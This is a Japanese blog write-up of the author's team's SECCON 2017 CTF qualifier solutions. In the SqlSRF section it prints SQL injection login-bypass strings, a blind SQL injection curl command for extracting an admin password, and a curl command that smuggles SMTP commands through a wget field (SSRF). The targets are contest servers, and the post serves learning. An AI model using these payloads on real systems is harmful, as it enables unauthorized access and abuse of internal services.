はらへり日記

腹に弾丸

SECCON2017 Online予選に参加した

参加した

会社の有志で集まってmerpoliceというチーム名で参加しました。 最終結果は1500pt, 総合125位でした。

2017.seccon.jp

WriteUp

自分が解けたものだけwrite upを書いておこうと思います

Vigenere3d Crypt 100pt

Vigenereってなんやねんっておもってggったらそういう暗号方式があるらしい。

ヴィジュネル暗号 - Wikipedia

平文と鍵となる文字列で暗号化する手法。

今回は3dとついてる通り、鍵が2つ使われていたので暗号変換時に3つの座標がいるようになってた。

SECCON{までは平文が分かってる状態、かつ鍵の長さが14文字だったのでSECCON{ -> POR4dnyになるような14文字の鍵を総当りで求めた。

すると'AAAAAAA_aZ2PK_'を鍵にすればSECCON{ -> POR4dnyになることがわかったのであとは逆の処理をするプログラムを書くだけ。

プログラム貼ろうと思ったけど他のWriteupのほうがスマートなので気になる方はそちらのご参照を。

FlagはSECCON{Welc0me_to_SECCON_CTF_2017}

SHA-1 is dead Crypt 100pt

トレンド問題。問題名から今年Googleが発表したSHA-1衝突の話を思い出す。

下記ページからSHA-1衝突する異なるPDFを落としてきて、ファイルサイズが2017KB以上2018KB以下になるよう適当に文字列をファイルに突っ込んで終わり。

SHAttered

この脆弱性については下記記事が詳しく、これを参考に末尾らへんに文字列の追加をした。

巷で話題のGoogleのSHA-1衝突やってみた | 73spica's Blog

FlagはSECCON{SHA-1_1995-2017?}

SqlSRF Web 400pt

これ超楽しかった。最後のひと押しはチームメイトに解いてもらった。

ページを開くとログインページとそのソースコードが得られる。

https://gist.github.com/sota1235/83b8000acef4aa288dbcacd02842be38

ソースコードを眺めるとSQLiteに投げるSQLを文字列で組み立ててることがわかるので以下のusernameをぶん投げる。

'OR 1=1 union select null--

するとDatabase ErrorでなくLogin Errorになったのでクエリが通ってることが分かる。

あとはログイン画面を突破できるといいのだがコードをよく読むと以下の3つの条件が成り立たないとログイン画面を突破できない。

  • SQLの返り値がある
  • リクエストパラメータのpassが空文字列でない
  • SQLの結果と暗号化したpassパラメータが同一である

この暗号化の処理が外部ファイルに実装されてるらしく、わからなかった。

どうにか暗号化のロジックを盗めないかコードを眺めると以下の部分で同じ暗号化処理をしてることに気づく。

print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

解説するとsave=1をPOSTパラメータ付与するとuserパラメータの値を暗号化し、Cookieremembervalueとしてセットしてる。 なので以下のcurlコマンドで好きな文字列を暗号化させることができる。

curl -X POST -d "user=password&pass=password&login=Login&save=1" -D - http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi

このレスポンスから'password'文字列を暗号化した文字を盗んだ。値は760de578d5d608fb420085b7697479ee

その上で以下のログイン情報で認証突破。

  • Username: ' AND 1=2 union select '760de578d5d608fb420085b7697479ee'--
  • Password: password

SQLインジェクションで前半のクエリの結果を強制的に空にし、UNIONで'password'文字列を暗号化した値をくっつけている。

ログイン認証を突破するとnetstatコマンドを叩くボタンとwgetボタンを叩くボタンがあるページにアクセスできる。

ただしwgetボタンはadminユーザとしてログインしないといけない。

ログイン後の画面で何をもってしてadminユーザとして認証してるのか考えるとおそらく以下の行。

https://gist.github.com/sota1235/83b8000acef4aa288dbcacd02842be38#file-index-perl-L29

ここにadmin文字列をインジェクションできないか考えるが文字列変換もしてないしセッション自体作り直されてしまっているので手が出せず少し詰まった。

が、ログインページのSQLインジェクションをうまく使えばadminのパスワードが抜けそうなことに気づく。

手法としてはBlind SQL Injectionにあたるもので、ログインが成功か失敗かをtrue or falseとして、データを推定する。

うまく説明できる気がしないのでコードを貼っつける。

gist.github.com

パスワード文字列として使われてそうなものをあらかじめあげて、adminユーザのpasswordカラムを1文字ずつ比較するSQLを投げる。

これでログインが成功すればその文字列がpasswordのN文字目である、ということがわかる。

パスワードの文字数は以下のコマンドで32文字であることを断定して、32回ループを回した。

curl -X POST -d "user=' UNION SELECT '760de578d5d608fb420085b7697479ee'/ WHERE length('hoge')=32--&pass=password&login=Login" -D - http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi

ということでadminのパスワードがYes!Kusomon!!であることをつきとめ、adminとしてログイン。

この問題で求められていたことはrootアカウントに指定されたタイトルでメールを送るとFlagが送られてくることだったが、netstatボタンで見るとサーバで立ち上がってるメールサーバはlocalhost:25SMTPサーバのみ。

wgetコマンドでlocalhost:25を取るとSMTPサーバのエラーが返ってくる。

ここで私は詰んでたのだがチームメンバーに突破してもらった。ありがとうございますshmorimoさんmm

発想としては空白をURLエンコードし、SMTPのメッセージをくっつけてwgetすることでSMTPを喋ることができる。

前段のHTTPメッセージはSMTPサーバは無視する。

curl -X POST -H 'Cookie:CGISESSID=6d92e08a398de805982dabd7fc248a5f; remember=58474452dda5c2bdc1f6869ace2ae9e3' http://sqlsrf.pwn.seccon.jp/sqlsrf/menu.cgi'?' --form "cmd=wget --debug -O /dev/stdout 'http://" --form "args=127.0.0.1%0aHELO%20ymkz01%2epwn%0aMAIL%20FROM%3a%20sample%40gmail%2ecom%0aRCPT%20TO%3a%20root%0aDATA%0aFrom%3a%20shmorimo%40gmail%2ecom%0aTo%3a%20root%0aSubject%3a%20give%20me%20flag%0a%0a%2e%0aQUIT%0a:25" 2>&1 | less

これにより暗号化されたFlag文字列が変えるので先程のrememberトークンで逆の処理をしてFlagを取る。

暗号化された文字列は

37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

FlagはSECCON{SSRFisMyFriend!}

Ps and Qs Crypto 200pt

暗号化されたファイルと公開鍵ファイルが2つ渡される。

おそらく暗号化されたファイルのdecodeが目的。

ヒントは無いかなとおもってPs and Qsをggると英語で「余計な事を喋るとダメだよね」という意味らしい。

もしかしてと思って公開鍵から復号する攻撃手法を調べてるとCommon Private Exponent Attackに行き着いた。

後は適当なツールを探してGanapati/RsaCtfToolなるものを見つけたので以下の手順でフラグゲット。

python2 RsaCtfTool.py --publickey "../*.pub" --uncipher ../cipher

FlagはSECCON{1234567890ABCDEF}

まとめ

片手間参加で3人で取り組んだ割には健闘できた気がする。

し、前回参加(3年前くらい)した時よりかなり解けるようになってたのでよかった。

来年はもう少し本腰入れて参加したいなー